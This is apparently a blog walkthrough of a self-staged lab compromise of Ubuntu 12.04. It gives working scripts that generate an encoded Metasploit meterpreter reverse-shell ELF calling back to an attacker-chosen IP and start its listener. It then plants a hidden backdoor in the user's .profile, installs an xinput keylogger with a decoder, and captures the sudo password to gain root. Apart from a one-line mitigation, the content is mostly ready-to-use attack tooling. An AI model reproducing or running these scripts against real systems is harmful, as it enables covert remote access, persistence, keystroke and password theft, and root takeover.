This was a particularly fun exercise and I decided to share the details as well as the scripts that I’ve created and modified from various sources. First of all, there are very few articles describing Metasploit meterpreter used against Linux (Ubuntu in this case) so I decided to fill in the gap and make this walk-trough from the point where the target runs our binary payload to a complete root compromise of the target system. So this is what I have used in my scenario:
- Ubuntu 12.04 LTS 32bit default installation with all updates running inside a VM
- VirtualBox
- Metasploit framework – current
- Debian Squeeze 64bit as my host platform
So first of all I have prepared a simple little binary elf generator in bash to make things easier. Place this file in the Metasploit root folder :
#!/bin/bash clear echo "************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *" echo "************************************************" echo -e "What IP are we gonna use ex. 192.168.0.1? \c" read IP echo -e "What Port Number are we gonna listen to? : \c" read port ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf -e x86/shikata_ga_nai >> Executive echo "Executive binary generated.." chmod u=rwx Executive ls -la Executive
OK now we have an ELF binary called Executive which we will use on the target Ubuntu system.
Next we need to start up a listener for our reverse meterpreter shell, again place this file in the root folder of Metasploit.
#!/bin/bash clear echo "*********************************************" echo " METASPLOIT LINUX METERPRETER LISTENER *" echo "*********************************************" echo "Here is a network device list available on yor machine" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' echo -e "What network interface are we gonna use ? \c" read interface echo -e "What Port Number are we gonna listen to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;; *) IP="Unknown";; esac echo " starting the meterpreter listener.." ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
So once we have the listener interface up and running we can move onto the target Ubuntu system.
I got some feedback regarding how did the executable get to the target in the first place. Well I copied it there myself, being myself as the potential victim. This is not a real world scenario, but rather a simulation of what is possible. I do not wish to get into details on how to push the binary to the user. It is not in the scope of this exercise. But bear in mind that there are a few ways to do it.
Pictures say more than words, so here is a screenshot of the whole process >
So now we are ready to execute the “Unknown” binary on the target computer. When I double click the Executive binary nothing happens, but we get a reverse shell on our listener interface.
So what now ? We have a shell, but we want Root right ? The next few steps get more interesting as we go deeper into the problem.We will plant a backdoor into the home folder of the current user and execute it via the .profile script when the user logs in. So we first download the .profile from the home directory
We modify the .profile locally to include the backdoor by adding a launcher to the Executive binary like so ./.executive & (make sure it is executable)
And finally we upload the modified .profile to the target like so
Next we upload the ELF binary executable to the home folder and rename it it .executive and make sure it is RWX
So now we have a permanent backdoor planted, and every time the target logs in he executes silently the elf binary called .executive in his .profile.
So now what, we have a user shell and we want more, we want root right ? So lets get root.
Ubuntu ships with xinput so we can abuse this as a keylogger and record every keystroke the user inputs while in his X session. I have developed a special set of scripts usable with Metasploit to make the whole process fast and easy. So now we need to upload a keylog.sh script to the target and execute it.
Here is the source for the keylog.sh
#!/bin/bash export DISPLAY=:0.0 xinput list echo -e "KBD ID ?" read kbd xmodmap -pke > /tmp/.xkey.log script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & echo "The keylog can be downloaded from /tmp/.xkey.log" echo "Use the meterpreter download function" echo "Press CTLR+C to exit this session, keylogger will run in backround"
This script is pretty self explanatory, we set the DISPLAY, get the xinput ID for the keyboard, dump the xmodmap to /tmp/.xkey.log and append any keystrokes to the same /tmp/.xkey.log file. We need to download the /tmp/.xkey.log file after a while to see if there are any captured keystrokes and decode it.
So we upload it and run it
We put in the KBD ID in this case it is id=10
And terminate the shell session as the keylogger is running in the background. After a while when we think that the log file with keystrokes is full we download the .xkey.log from the /tmp folder like so
Next we need to decode the content of the .xkey.log so it would be readable. I have created a special decoder script that can do just that. Again the .xkey.log needs to be in the path of the decoder script
#!/bin/sh cat .xkey.log | grep keycode > xmodmap.pke cat .xkey.log | grep 'key p' > xlog rm -f .xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' > decoder.py echo 'from subprocess import *' >> decoder.py echo 'def keyMap():' >> decoder.py echo ' table = open("xmodmap.pke")' >> decoder.py echo ' key = []' >> decoder.py echo ' for line in table:' >> decoder.py echo " m = re.match('keycode +(\d+) = (.+)', line.decode())" >> decoder.py echo ' if m and m.groups()[1]:' >> decoder.py echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])' >> decoder.py echo ' return key' >> decoder.py echo 'def printV(letter):' >> decoder.py echo ' key=keyMap();' >> decoder.py echo ' for i in key:' >> decoder.py echo ' if str(letter) == i.split("_____")[1]:' >> decoder.py echo ' return i.split("_____")[0]' >> decoder.py echo ' return letter' >> decoder.py echo 'if len(sys.argv) < 2:' >> decoder.py echo ' print "Usage: %s FILE" % sys.argv[0];' >> decoder.py echo ' exit();' >> decoder.py echo 'else:' >> decoder.py echo ' f = open(sys.argv[1])' >> decoder.py echo ' lines = f.readlines()' >> decoder.py echo ' f.close()' >> decoder.py echo ' for line in lines:' >> decoder.py echo " m = re.match('key press +(\d+)', line)" >> decoder.py echo ' if m:' >> decoder.py echo ' keycode = m.groups()[0]' >> decoder.py echo ' print (printV(keycode))' >> decoder.py echo 'Please see LOG-keylogger for the output......' python decoder.py xlog > LOG sed ':a;N;$!ba;s/\n/ /g' LOG > LOG-keylogger rm -f LOG rm -f xmodmap.pke rm -f decoder.py rm -f xlog cat LOG-keylogger
So when we run this script (python is needed) we can see something like this:
So if the user does elevate via sudo then we get the password in this log. So how do we do sudo su in the meterpreter shell ? Normally we cannot as you can see here in the screenshot
There is a trick however that can bypass the no TTY problem and that is Python. Python is shipped by default on Ubuntu 12.04 LTS so we can type this:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ and we can elevate to root via sudo su
And that is the end. We now have root and own the box. I hope you have enjoyed reading this as much as I have creating it. CentOS, Debian Squeeze for example do not ship the xinput binary by default, so this attack is not possible.
A quick and dirty solution is just # chmod a-x /path/to/xinput to prevent keyboard sniffing.
UPDATE > even if the xinput binary is not present on the system, we can upload a generic one to the target and execute it via the meterpreter shell. I have tested the Ubuntu 12.04 LTS 32bit xinput against Debian Squeeze 64bit and it works and we can sniff the keyboard.
Here is a video presentation of the above attack
“While we teach, we learn” Seneca